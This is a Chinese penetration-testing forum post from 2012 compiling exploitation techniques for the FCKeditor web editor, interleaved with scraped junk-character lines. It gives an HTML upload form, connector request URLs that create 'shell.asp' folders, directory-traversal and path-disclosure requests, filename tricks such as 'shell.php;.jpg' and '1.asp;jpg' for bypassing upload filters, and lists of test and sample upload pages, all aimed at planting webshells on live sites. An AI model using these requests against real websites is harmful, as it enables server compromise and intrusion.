中国网络渗透测试联盟
标题:
Fckeditor漏洞 (2)
[打印本页]
作者:
admin
时间:
2012-9-13 17:01
标题:
Fckeditor漏洞 (2)
Fckeditor漏洞利用总结
; D( x6 _! r, `7 \
查看编辑器版本
1 v9 _% z) I6 b' s! p* `: l
FCKeditor/_whatsnew.html
. B8 b( I; M6 h% R
—————————————————————————————————————————————————————————————
: a$ I; d: m K/ w
, e2 S( `2 a; [; A- C2 T+ [0 L
2. Version 2.2 版本
3 G4 j+ V+ ^$ Q& V! E
Apache+linux 环境下在上传文件后面加个.突破!测试通过。
y+ D1 K" `, `+ j
—————————————————————————————————————————————————————————————
: a: P# ]" g: G( g
$ K/ o9 ~/ q$ ~, D
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
' I( @% N. J, e- o/ w2 N
<form id="frmUpload" enctype="multipart/form-data"
! Z* C( L2 Z, f* W- I8 ]
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
" @. S' D+ D5 D& l! F! c) Y. k
<input type="file" name="NewFile" size="50"><br>
5 |; n/ E m( v( m( u
<input id="btnUpload" type="submit" value="Upload">
' s" w5 z5 z( k* J( C( |; M6 j8 Y
</form>
% _ ]5 }7 n ~5 [' g; a
—————————————————————————————————————————————————————————————
% D% w# g# T/ O
! t% n% G6 R6 ~# J+ \/ Q% k; L
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
2 Q* M7 e1 P0 d5 l9 |' p7 \
很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
2 o( i6 q; E5 J5 [/ Q
4.1:提交shell.php+空格绕过
/ t( k8 T0 n% S \* L, B+ b% t& ]
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
; s7 L" ]& c! Y- \1 w
4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
6 {3 d! d" L- z
—————————————————————————————————————————————————————————————
& H4 s) I7 e' ?6 K {
6 h1 o2 ~4 ]% c
5. 突破建立文件夹
. I O% Q) N: i4 y T$ c9 e8 }1 i
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
, E+ m: _ z0 c
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
+ Q6 i/ h, j: N- ]
—————————————————————————————————————————————————————————————
- k0 U( _$ P" i; s/ ~6 B) ]; w% ]6 M: E
- V- V0 _6 V5 O9 }! b0 ^
6. FCKeditor 中test 文件的上传地址
; `) ?* a. Q0 T% m
FCKeditor/editor/filemanager/browser/default/connectors/test.html
6 U# o( s/ C) _+ h; t. F5 e9 i
FCKeditor/editor/filemanager/upload/test.html
( V7 z3 T2 c' I: a* u6 P
FCKeditor/editor/filemanager/connectors/test.html
2 Q& K2 Y8 X$ ?8 ~
FCKeditor/editor/filemanager/connectors/uploadtest.html
: }; Q y" V2 a
—————————————————————————————————————————————————————————————
- v3 x! @3 e v& E9 t- h3 V- z
2 x, d |8 n7 x e# a: M9 T1 U& I
7.常用上传地址
" j8 e4 t& C4 b3 i2 g, K
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
! `% \, {' n/ R' g& l
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
- c* K& y/ }. \* ?
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
* W+ `2 _# A1 G" ]6 }
JSP 版:
9 ^& S$ g2 z( ~- H- S& ]
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
: N6 H! R/ w7 @' b) P' d- B! {
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
6 g. D2 ^8 `2 W. P2 }% j
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
4 M$ g9 S6 {, E7 `
—————————————————————————————————————————————————————————————
( x: {" f, i) I e; t% }" B
i3 j9 _. H" k, O) `8 t7 I
8.其他上传地址
2 ?, g1 V, G( q( Q
FCKeditor/_samples/default.html
9 T) F u4 J$ `7 e) E% s% J
FCKeditor/_samples/asp/sample01.asp
! J9 `* c1 p" w" g% a
FCKeditor/_samples/asp/sample02.asp
: ~4 L# o* g* ~$ e3 X2 {/ Q" \
FCKeditor/_samples/asp/sample03.asp
% ^. ^ s3 i) k1 u8 Y' U+ ?, E* F' {
FCKeditor/_samples/asp/sample04.asp
- _2 G: m% B; a+ G5 }
一般很多站点都已删除_samples 目录,可以试试。
5 X& X; S! \' G
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
4 P! J6 O9 ~' a& s2 {% W( a
—————————————————————————————————————————————————————————————
- ?0 ]! }$ ]2 w/ V- K
8 e* I! l2 m3 L( j" y/ a, F W# ~
9.列目录漏洞也可助找上传地址
0 D. c# ]/ p. \# w9 ]# Y. J+ b7 L
Version 2.4.1 测试通过
/ ~/ M& I9 c+ p% \* r" G
修改CurrentFolder 参数使用 ../../来进入不同的目录
8 U9 @. U T4 @) A+ v
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
- y3 N" m1 H7 w d
根据返回的XML 信息可以查看网站所有的目录。
( q$ ?5 a7 \' |9 H7 K! S. ?
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
6 v' U; @! q& X9 q
也可以直接浏览盘符:
, a) J. | u7 `) f" B, e
JSP 版本:
5 f3 g1 }! t* U5 B1 P$ R5 t
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
6 X# t) j0 [ I% H! R7 ^3 J, j# u
—————————————————————————————————————————————————————————————
$ W# W+ `: R% Q/ B% } b5 S: X9 H- z4 J
6 Q; J( p: a' I% e; Q/ m$ _
10.爆路径漏洞
" u# p4 x" ~8 }( I+ F
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
' V* Y5 y/ M) T# g% D! `
—————————————————————————————————————————————————————————————
9 d( G1 g" Z2 h- T3 M$ `3 F4 H
6 B, t/ K" K2 z# F$ l4 j
11. FCKeditor 被动限制策略所导致的过滤不严问题
$ k/ Z( q0 ~0 w% E) s7 R7 g+ Z
影响版本: FCKeditor x.x <= FCKeditor v2.4.3
$ }9 ^ S Z7 H8 A" l S# B4 J* S
脆弱描述:
1 y% Z, y* ^; f! c
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:
3 f, ]) J' M4 n* {
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
8 `0 x' Z* ]: ^) Z( V4 q8 [2 U7 W
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
7 l8 z3 r( L y
而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
2 S7 M3 w0 `3 p h3 N
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
1 t8 Z% b" n* Y5 s
—————————————————————————————————————————————————————————————
* t5 s6 K! G: W5 A8 t# `: z
1 X2 J4 E5 ~9 M m# |
12.最古老的漏洞,Type文件没有限制!
3 \& x: g/ O1 x0 @9 U' F) w. H
我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本!
( B( n, _4 ]$ t& c* b( P3 w
—————————————————————————————————————————————————————————————
9 S. M# }3 R: A3 W5 T" W, d Q/ `9 D
5 k$ Q/ i# Z$ F1 L* ?
===============================================================================================================================================
' p2 T5 U0 ]- c
# [$ x7 \5 R% I
FCK编辑器jsp版本漏洞:
% W" C3 T6 C- k1 @7 v
_2 P, O1 K9 ~0 @3 [3 R
( W- {7 `. f6 e w: _: Q `
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
# K e$ ?7 @1 S) y) s7 ~9 p
* E# c8 v( S2 I+ J' c
上传马所在目录
5 g' @5 S7 a$ c7 N( m& B
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
- j$ |8 J2 b. x, w: Q/ H m
上传shell的地址:
0 l! S1 V) i V6 u
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
+ c- e/ O+ q8 E" ]. u! A
跟版本有关系.并不是百分百成功. 测试成功几个站.
z. R; ~) }" {; a: H- h& \& R
不能通杀.很遗憾.
5 a' w: b: a' | d0 }0 d
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
: \1 `% E; c% Z
如果以上地址不行可以试试
: R! g3 I2 ?% a1 E0 m
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
& {$ Y" m$ d, S/ q9 [% x
FCKeditor/_samples/
' l) ^$ g3 z( H0 b
FCKeditor/_samples/default.html
! `! p. ?& l @; k' Q8 r6 E2 U$ f$ {
FCKeditor/editor/fckeditor.htm
! D* @2 g; N/ m9 l# r, Q u U- O
FCKeditor/editor/fckdialog.html
9 A. g3 y% l G0 Z$ X% i
1 Z1 T" e, \4 Q( J
3 s7 x% V8 I! H5 a5 I; T. f) A7 x
- q% r! l7 Z9 Y" H( p$ c& q5 F
解析漏洞+未重命名文件时上传漏洞 1.asp;jpg
2 S g, |* m( |/ r0 I/ k
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2